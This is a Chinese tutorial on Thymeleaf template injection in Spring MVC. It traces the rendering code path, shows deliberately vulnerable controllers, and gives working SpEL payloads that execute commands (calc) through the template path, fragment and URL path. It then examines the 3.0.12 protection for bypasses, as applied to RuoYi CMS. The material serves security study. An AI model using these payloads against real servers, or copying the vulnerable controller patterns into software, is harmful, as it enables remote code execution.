JAVA安全之Thymeleaf模板引擎注入从0到1及绕过思路

Thymeleaf是一个现代的Java模板引擎,主要用于Web应用程序。它旨在为用户提供一种简单而直观的方式来生成动态内容,尤其适合与Spring框架结合使用,Thymeleaf在服务器端处理模板并通过将数据模型填充到模板中并生成最终的HTML响应然后发送给浏览器,这些操作通常在Spring MVC项目中进行,Spring会将控制器返回的数据模型传递给Thymeleaf进行渲染

基本介绍

Thymeleaf是一个现代的Java模板引擎,主要用于Web应用程序。它旨在为用户提供一种简单而直观的方式来生成动态内容,尤其适合与Spring框架结合使用,Thymeleaf在服务器端处理模板并通过将数据模型填充到模板中并生成最终的HTML响应然后发送给浏览器,这些操作通常在Spring MVC项目中进行,Spring会将控制器返回的数据模型传递给Thymeleaf进行渲染

语法规则

名称空间

在使用Thymeleaf之前需要在页面的html标签中声明名称空间,示例代码如下所示:

<html xmlns:th="http://www.thymeleaf.org">

备注:在html标签中声明此名称空间可避免编辑器出现html验证错误,但这一步并非必须进行的,即使我们不声明该命名空间也不影响Thymeleaf的使用

表达式类
变量表达式

在Thymeleaf中${...}表达式用于访问上下文中的变量,它允许你从模型中获取数据并将其输出到模板中,通过这种表达式你可以轻松地引用控制器中传递给视图的数据,最基本的用法是直接在HTML模板中使用${...}来访问变量,例如:


<html xmlns:th="http://www.thymeleaf.org">
<head>
    <title>Thymeleaf Example</title>
</head>
<body>
    <h1>Hello, <span th:text="${name}">User</span>!</h1>
</body>
</html>

在这个例子中,如果在控制器中将name设置为"Alice",则输出将是:

Hello, Alice!

如果你有一个对象user,并且希望访问其属性,你可以这样做:

public class User {
    private String firstName;
    private String lastName;

    // getters and setters
}

然后在控制器中:

model.addAttribute("user", new User("Alice", "Smith"));

在Thymeleaf模板中可以使用如下方式访问firstName和lastName:

<p>First Name: <span th:text="${user.firstName}"></span></p>
<p>Last Name: <span th:text="${user.lastName}"></span></p>
选择表达式

在Thymeleaf模板中选择表达式*{...}是用于处理表单数据和与模型属性的绑定,选择表达式*{...}主要用于表示当前上下文中的一个对象,通常是在使用th:object属性时定义的,它可以从该对象中获取属性值、设置属性值或进行数据验证等操作,首先你需要在表单中设置一个目标对象,这样才能使用选择表达式来访问其属性,在这个示例中th:object="${user}"定义了一个名为user的对象,而选择表达式*{firstName}和*{lastName}则分别访问user对象的firstName和lastName属性

<form th:action="@{/submit}" th:object="${user}" method="post">
    <label for="firstName">First Name:</label>
    <input type="text" id="firstName" th:field="*{firstName}" />

    <label for="lastName">Last Name:</label>
    <input type="text" id="lastName" th:field="*{lastName}" />

    <button type="submit">Submit</button>
</form>

选择表达式最常见的用法是在输入字段中进行绑定,通过th:field属性你可以将HTML表单元素与模型属性直接关联,例如:这里输入框会自动绑定到user对象的email属性,当用户提交表单时email字段的值将被赋给user对象

<input type="text" th:field="*{email}" />
计算表达式

在Thymeleaf模板中计算表达式#{...}主要用于国际化(i18n)和消息的解析,这种表达式使得你能够从消息资源文件中获取文本并支持根据不同语言环境动态替换内容,在Thymeleaf中,使用#{...}表达式可以引用定义在.properties文件中的消息,例如:你可以创建一个messages.properties文件,内容如下

greeting=Hello, World!
farewell=Goodbye, World!

然后在Thymeleaf模板中使用这些消息,在这个例子中渲染结果将会是"Hello, World!"

<p th:text="#{greeting}"></p>
布尔表达式

在Thymeleaf模板中布尔表达式主要用于条件判断和控制逻辑流,这些表达式允许开发者根据条件动态地展示内容,从而提高模板的灵活性和可维护性,布尔表达式通常在th:if、th:unless、th:visible和其他属性中使用,其中Thymeleaf提供了多种比较运算符可以用来比较数字、字符串等类型:

  • \==:等于
  • !=:不等于
  • >:大于
  • <:小于
  • >=:大于或等于
  • <=:小于或等于

简易示例如下:

<p th:if="${user.age >= 18}">You are an adult.</p>
<p th:if="${user.age < 18}">You are a minor.</p>
列表表达式

在Thymeleaf模板中列表表达式用于处理集合(例如:列表、数组等)并对其中的元素进行迭代和操作,这使得我们能够动态生成内容,例如:表格、列表项等,Thymeleaf提供了多种功能强大的表达式和属性来管理和展示列表数据,列表表达式主要通过th:each属性进行使用,它允许开发者遍历集合中的每个元素并为每个元素生成相应的HTML,th:each是用来循环遍历集合的核心属性,其基本语法如下:这里的item是循环变量,代表当前迭代的元素,而${items}是要遍历的集合

th:each="item : ${items}"

假设你有一个包含用户信息的列表,你可以使用th:each生成一个用户列表:

<ul>
    <li th:each="user : ${users}" th:text="${user.name}"></li>
</ul>
链接表达式

在Thymeleaf 中如果想引入链接,比如:link,href,src,需要使用@{资源地址}引入资源,引入的地址可以在static目录下,也可以司互联网中的资源

<link rel="stylesheet" th:href="@{index.css}">
<script type="text/javascript" th:src="@{index.js}"></script>
<a th:href="@{index.html}">超链接</a>
调用方法表达式

Thymeleaf允许直接调用对象的方法,前提是这些方法返回的是可以用于显示的数据,例如:这里user.getFullName()方法被调用并返回用户的全名,该全名将被渲染到页面上

<p th:text="${user.getFullName()}">全名</p>
属性介绍

Thymeleaf提供了大量的th 性,这些属性可以直接在HTML标签中使用,其中常用th属性及其示例如下表:

image.png

image.png

模板格式

Thymeleaf表达式语言(Thymeleaf Expression Language, EL)是一种用于在Thymeleaf模板中动态访问和操作对象属性、执行逻辑判断以及进行数据迭代的强大工具,它具有直观的语法使得模板的编写变得简单明了,其模板文件的基本结构如下所示:

  • DOCTYPE声明:声明文档类型
  • HTML标签:基本的HTML 结构,包括 <html>、<head>和<body>标签
  • Thymeleaf属性:使用th: 前缀的属性,用于绑定数据和控制逻辑,例如:th:text、th:if、th:each等
  • 表达式语言:使用${...}语法来访问模型中的变量

下面是一个简单的Thymeleaf模板示例,展示了如何使用Thymeleaf来渲染一个用户列表:


<html xmlns:th="http://www.w3.org/1999/xhtml">
<head>
    <meta charset="UTF-8"/>
    <title>User List</title>
</head>
<body>
    <h1>User List</h1>

    <table border="1">
        <thead>
            <tr>
                <th>ID</th>
                <th>Name</th>
                <th>Email</th>
            </tr>
        </thead>
        <tbody>
            <tr th:each="user : ${users}">
                <td th:text="${user.id}">User ID</td>
                <td th:text="${user.name}">User Name</td>
                <td th:text="${user.email}">User Email</td>
            </tr>
        </tbody>
    </table>

</body>
</html>

调试分析

在MVC中DispatcherServlet拦截请求并分发到Handler处理,所以下断点直接定位到DispatcherServlet#doDispatch方法

image.png

在doDispatch方法的实现中我们需要着重关注以下3个方法:

1、ha.handle():此方法主要用于获取ModelAndView也就是Controller中的return值

image.png

在这里会调用了org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#handleInternal,继续跟进

image.png

随后来到invokeHandlerMethod,继续跟进

image.png

随后通过invokeForRequest函数,根据用户输入的URL,调用相关的controller并将其返回值returnValue,作为待查找的模板文件名,通过Thymeleaf模板引擎去查找并返回给用户

image.png

2、applyDefaultViewName:对当前ModelAndView做判断,如果为null则进入defalutViewName部分处理,将URI path作为mav的值

在这里调用applyDefaultViewName:

image.png

在这里如果ModelAndView值不为null则什么也不做,否则如果defaultViewName存在值则会给ModelAndView赋值为defaultViewName,也就是将URI path作为视图名称:

image.png

3、processDispatchResult():处理视图并解析执行表达式以及抛出异常回显部分处理

随后在获取到ModelAndView值后会进入到processDispatchResult方法

image.png

第1个if会被跳过,跟进第2个if中的render方法

image.png

在render方法中首先会获取mv对象的viewName,然后调用resolveViewName方法,resolveViewName方法最终会获取最匹配的视图解析器

image.png

跟进这里的resolveViewName方法后可以看到这里首先通过getCandidateViews筛选出resolveViewName方法返回值不为null的视图解析器添加到candidateViews中,随后通过getBestView拿到最适配的解析器,而这里的getBestView中的逻辑是优先返回在candidateViews存在重定向动作的view,如果都不存在则根据请求头中的Accept字段的值与candidateViews的相关顺序并判断是否兼容来返回最适配的View

image.png

最终返回ThymeleafView之后ThymeleafView调用了render方法

image.png

紧接着调用renderFragment

image.png

此方法在后面首先判断viewTemplateName是否包含::,若包含则获取解析器,调用parseExpression方法将viewTemplateName(也就是Controller中最后return的值)构造成片段表达式(~{})并解析执行,在这里我们跟进parseExpression方法

image.png

随后调用thymeleaf模板引擎的解析引擎进行解析处理

image.png

parseExpression解析处理代码如下所示,在这里通过通过preprocess进行预处理

image.png

其间会根据该正则\\_\\_(.*?)\\_\\_提取__xxxxxx__间的内容:

image.png

获取expression并执行execute方法

image.png

随后调用execute执行:

image.png

调用SImpleExpression.executeSimple

image.png

image.png

最后你会发现这里其实是一个SPEL表达式解析,使用SpEL执行表达式来触发任意代码执行

image.png

image.png

调用栈如下所示:

evaluate:289, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression)
parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression)
renderFragment:278, ThymeleafView (org.thymeleaf.spring5.view)
render:189, ThymeleafView (org.thymeleaf.spring5.view)
render:1373, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:634, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:526, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:408, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:861, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1579, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1136, ThreadPoolExecutor (java.util.concurrent)
run:635, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:833, Thread (java.lang)

模板注入

模板注入(SSTI)漏洞成因是因为服务端接收了用户的恶意输入以后未经任何处理就将其作为Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell等

Thymeleaf提供了预处理表达式的功能,预处理表达式与普通表达式完全一样,它是由双下划线符号包围,例如:__${expression}__ ,被预处理的表达式将会被提前执行并且可以返回当作外层包裹的后续表达式的一部分,例如:#{selection.__${sel.code}__},Thymeleaf 首先进行预处理${sel.code},然后它使用结果作为稍后计算的实数表达式(#{selection.ALL})的一部分

模板路径
漏洞代码

第一种场景就是模板名称可控,漏洞Controller代码如下所示:

@Controller
public class HelloController {

    Logger log = LoggerFactory.getLogger(HelloController.class);

    @GetMapping("/")
    public String index(Model model) {
        model.addAttribute("message", "happy birthday");
        return "welcome";
    }

    public String path(@RequestParam String lang) {
        return "user/" + lang + "/welcome"; //template path is tainted
    }

}

漏洞演示

运行工程并在浏览器中访问:

image.png

正常请求示例如下:

image.png

漏洞POC如下所示:

/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cmd.exe /c calc%22).getInputStream()).next()%7d__::.x

image.png

漏洞成因

模块路径可控时在后端renderFragment渲染的过程中会进行检测判断,如果TemplateName中不包含::则将viewTemplateName赋值给templateName,如果包含::则代表是一个片段表达式,会解析templateName和markupSelectors,比如:当viewTemplateName为welcome::header则会将welcome解析为templateName,将header解析为markupSelectors,在这个解析过程中可导致模板解析漏洞的产生,具体调试分析请查看调试分析一小节

Fragment
漏洞代码

漏洞示例代码如下所示:

    @GetMapping("/fragment")
    public String fragment(@RequestParam String section) {
        return "welcome :: " + section; //fragment is tainted
    }

漏洞复现

漏洞POC如下所示:

/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cmd.exe /c calc%22).getInputStream()).next()%7d__::.x

image.png

这里不使用.x和::也可触发命令执行

/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cmd.exe /c calc").getInputStream()).next()%7d__

image.png

漏洞成因

此类场景对应可控点为selector位置,例如:viewTemplateName为welcome::header,此时会将welcome解析为templateName,而header为我们可控的点位,此时会被解析为markupSelectors,这和之前的模板返回路径可控的不同之处在于最后抛出异常的时候如果找不到templatename是存在结果回显的,而找不到selector不存在结果回显,具体跟踪调试如下所示:

在解析过程中首先通过render获取ViewName,此时的ViewName为welcome :: __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cmd.exe /c calc").getInputStream()).next()}__::.x

image.png

随后调用view.render进行模板的渲染操作:

image.png

在这里调用renderFragment来获取模板名称、模板解析引擎

image.png

随后在这里会检查一次ViewTemplateName是否会包含"::",如果不包含则将ViewTemplateName赋值给templateName,将markupSelectors置空,如果包含则进行解析处理:

image.png

随后将~{welcome :: __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cmd.exe /c calc").getInputStream()).next()}__::.x}作为input进行解析处理:

image.png

随后进行一次正则匹配\_\_(.*?)\_\_来检索是否存在预执行的内容,如果不包含预执行内容则直接返回经过checkPreprocessingMarkUnescaping处理过后的字符串

image.png

如果包含预执行内容则需要对模板名称进行预执行处理,在这里可以看到获取的expressionText直接为介于__xxxx__之间的xxxx内容${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cmd.exe /c calc").getInputStream()).next()},随后调用StandardExpressionParser.parseExpression进行表达式的解析处理:

image.png

随后调用Expression.parse进行解析处理:

image.png

随后执行表达式解析:

image.png

image.png

可以看到这里也是执行的SPEL表达式解析:

image.png

最终触发:

image.png

调用栈信息如下:

evaluate:289, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression)
parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression)
renderFragment:278, ThymeleafView (org.thymeleaf.spring5.view)
render:189, ThymeleafView (org.thymeleaf.spring5.view)
render:1373, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:634, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:526, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:408, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:861, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1579, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1136, ThreadPoolExecutor (java.util.concurrent)
run:635, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:833, Thread (java.lang)

URL Path
漏洞代码

漏洞示例代码如下所示:

    @GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document) {
        log.info("Retrieving " + document);
        //returns void, so view name is taken from URI
    }

漏洞复现

这里没有返回任何模板名称,所以viewTemplateName会从URI中获取,直接在{document}位置传入payload即可,构造漏洞POC如下:

/doc/__$%7BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x

image.png

构造利用载荷2如下所示:

/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()%7d__::.x

image.png

调试分析

在之前的代码分析过程中可以看到当ModelAndView在URL PATH可控的情况下其实也是可以造成模板注入漏洞的,主要是DispatcherServlet#doDispatch中获取ModleAndView后还会执行applyDefaultViewName方法

image.png

随后获取defaultVieName并将其赋值给ViewName,这也是在urlPath中传入Payload可以执行的原因

image.png

随后来到processDispatchResult来处理请求并调用this.render进行渲染操作:

image.png

image.png

紧接着获取对应的模板名称等信息

image.png

随后调用view.render进行视图渲染操作

image.png

后续在preprocess中可以看到这里将我们输入的URL进行了拆分,其中/doc/做了前缀,后面的载荷作为了解析表达式要解析的文本内容,随后调用parseExpression.execute进行解析执行

image.png

若依模板注入绕过

若依CMS中使用到了Thymeleaf模板引擎且存在模板注入可控点,但是在漏洞测试过程中发现常规的通用载荷并不生效,遂对其进行调试分析,最后发现是和Thymeleaf版本有莫大的关系,其中3.0.12版本增加了多处安全机制来防护模板注入漏洞,下面主要基于此背景对Thymeleaf模板的注入防御措施和绕过进行深入刨析

首先我们在spring-view-manipulation项目的基础上更改pom.xml中的spring-boot-starter-parent为2.5.6版本

https://github.com/veracode-research/spring-view-manipulation

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.springframework</groupId>
    <artifactId>java-spring-thymeleaf</artifactId>
    <version>1.0</version>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <!--latest-->
        <version>2.5.6</version>
    </parent>

image.png

随后我们再次重新启动项目并使用下面的恶意载荷进行一次请求测试:

/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cmd.exe /c calc%22).getInputStream()).next()%7d__::.x

image.png

控制台报错如下所示:

java.lang.IllegalArgumentException: Invalid template name specification: 'user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cmd.exe /c calc").getInputStream()).next()}__::.x/welcome'
    at org.thymeleaf.spring5.view.ThymeleafView.renderFragment(ThymeleafView.java:284) ~[thymeleaf-spring5-3.0.12.RELEASE.jar:3.0.12.RELEASE]
    at org.thymeleaf.spring5.view.ThymeleafView.render(ThymeleafView.java:190) ~[thymeleaf-spring5-3.0.12.RELEASE.jar:3.0.12.RELEASE]
    at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1400) ~[spring-webmvc-5.3.12.jar:5.3.12]
    at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1145) ~[spring-webmvc-5.3.12.jar:5.3.12]
    at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1084) ~[spring-webmvc-5.3.12.jar:5.3.12]
    at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:963) ~[spring-webmvc-5.3.12.jar:5.3.12]
    at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006) ~[spring-webmvc-5.3.12.jar:5.3.12]
    at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898) ~[spring-webmvc-5.3.12.jar:5.3.12]
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:655) ~[tomcat-embed-core-9.0.54.jar:4.0.FR]
    at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883) ~[spring-webmvc-5.3.12.jar:5.3.12]
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:764) ~[tomcat-embed-core-9.0.54.jar:4.0.FR]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) ~[tomcat-embed-websocket-9.0.54.jar:9.0.54]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) ~[spring-web-5.3.12.jar:5.3.12]
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.3.12.jar:5.3.12]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) ~[spring-web-5.3.12.jar:5.3.12]
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.3.12.jar:5.3.12]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) ~[spring-web-5.3.12.jar:5.3.12]
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.3.12.jar:5.3.12]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:540) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:357) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:382) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:895) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1722) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-embed-core-9.0.54.jar:9.0.54]
    at java.lang.Thread.run(Thread.java:748) [na:1.8.0_181]

image.png

调试分析
第一阶段

我们直接在org.springframework.web.servlet.DispatcherServlet#doService处下断点逐步进行调试分析,中间过程跳过,在调试分析过程中我们会来到org.thymeleaf.spring5.view.ThymeleafView#renderFragment,在这里会判断viewTemplateName是否包含::,随后的业务逻辑就是Thymeleaf 3.0.12版本和之前的版本的差异性了,之前的版本中若包含则获取解析器,调用parseExpression方法将viewTemplateName构造成片段表达式(~{})并解析执行

image.png

Thymeleaf 3.0.12版本中则增加了一行检查—— SpringRequestUtils.checkViewNameNotInRequest(viewTemplateName, request);

image.png

在这里我们跟进checkViewNameNotInRequest看看:

image.png

随后这里会调用StringUtils中的pack方法对viewName进行重构,在这里可以看到会对每个字符进行一次检查来确定指定字符是否为Java中的空白字符,如果不是则进行append,最后转小写返回

image.png

Java中只有满足以下条件之一,字符才被视为Java空白字符:

  • 它是一个Unicode空格字符(SPACE_SEPARATOR、LINE_SEPARATOR或PARAGRAPH_SEPARATOR),但不是非断行空格('\u00A0'、'\u2007'、'\u202F')
  • 它是 '\t',即 U+0009 水平制表符
  • 它是 '\n',即 U+000A 换行符
  • 它是 '\u000B',即 U+000B 垂直制表符
  • 它是 '\f',即 U+000C 进纸符
  • 它是 '\r',即 U+000D 回车符
  • 它是 '\u001C',即 U+001C 文件分隔符
  • 它是 '\u001D',即 U+001D 组分隔符
  • 它是 '\u001E',即 U+001E 记录分隔符
  • 它是 '\u001F',即 U+001F 单元分隔符

随后调用StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()))获取requestURI,随后检查了一次requestURI是否包含vn,这类场景针对URL Path可控的模板注入场景,即路径可控:

    @GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document) {
        log.info("Retrieving " + document);
        //returns void, so view name is taken from URI
    }

在这里我们重新debug一次并使用对应的请求路径对上面的匹配进行一次验证分析,此次使用漏洞载荷如下

/doc/__$%7BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x

在断点处可以看到这里完成匹配,随后完成检查,直接抛异常

image.png

综上所述,checkViewNameNotInRequest类进行的check主要就是requestURI不为空并且包含vn的值,所以我们的绕过也要从这两个点下手,由于这里的vn时直接传递过来的viewName且经过了空白符的移除操作和转小写的操作,所以我们这里着重关注一下这里的requestURI的获取:

String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));

unescapeUriPath最终调用的实际上是UriEscapeUtil.unescape

image.png

在这个方法中首先检测传入的字符中是否是%(ESCAPE_PREFIX)或者+

image.png

